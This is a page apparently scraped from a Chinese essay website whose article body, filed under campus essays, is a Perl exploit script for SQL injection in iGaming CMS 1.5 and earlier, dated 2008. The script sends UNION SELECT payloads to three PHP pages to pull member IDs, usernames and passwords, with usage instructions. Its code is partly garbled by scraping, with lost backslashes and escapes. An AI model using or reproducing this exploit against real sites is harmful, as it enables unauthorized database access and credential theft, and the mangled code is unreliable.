• 爱情文章
  • 亲情文章
  • 友情文章
  • 生活随笔
  • 校园文章
  • 经典文章
  • 人生哲理
  • 励志文章
  • 搞笑文章
  • 心情日记
  • 英语文章
  • 范文大全
  • 作文大全
  • 新闻阅读
  • 当前位置: 山茶花美文网 > 校园文章 > 正文

    iGaming,CMS CMS

    时间:2020-02-18来源:山茶花美文网 本文已影响 山茶花美文网手机站

    #!/usr/bin/perl

    # ----------------------------------------------------------

    # iGaming <= 1.5 Multiple Remote SQL Injection Exploit

    # Perl Exploit - Output: id:admin:password

    # Discovered On: 23/09/2008

    # Discovered By: StAkeR - StAkeR[at]hotmail[dot]it

    # Proud To Be Italian

    # ----------------------------------------------------------

    # Usage: perl exploit.pl http://localhost/iGaming

    # ---------------------------------------------------------- use strict;

    use LWP::UserAgent; my ($one,$two,$exec,$host,$http,$xxx,$view); $view = "" union select 0,0,1,2,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),0,6,7,8 from sp_members WHERE id="1/*";

    $exec = "" union select 1,concat(0x25,id,0x3a,pseudo,0x3a,pass,0x25),3 from sp_members where id="1/*";

    $host = shift @ARGV;

    $http = new LWP::UserAgent or die $!;

    $http->agent("Mozilla/4.5 [en] (Win95; U)");

    $http->timeout(1);

    if($host !~ /^http://(. ?)$/)

    {

    print "[?] iGaming CMS <= 1.5 Multiple Remote SQL Injection Exploitn";

    print "[?] Usage: perl $0 http://[path]n";

    exit;

    }

    else

    {

    $one = $http->get($host."/previews.php?browse=".$exec);

    $two = $http->get($host."/reviews.php?browse=".$exec);

    $xxx = $http->get($host."/index.php?do=viewarticle&id=".$view);

    if($one->is_success or $two->is_success or $xxx->is_success)

    {

    die "$1n" if $one->content =~ /%(. ?)%/;

    die "$1n" if $two->content =~ /%(. ?)%/;

    die "$1n" if $xxx->content =~ /%(. ?)%/;

    }

    else

    {

    die "[ ] Exploit Failed!n";

    }

    }

    • 爱情文章
    • 亲情文章
    • 友情文章
    • 随笔
    • 哲理
    • 励志
    • 范文大全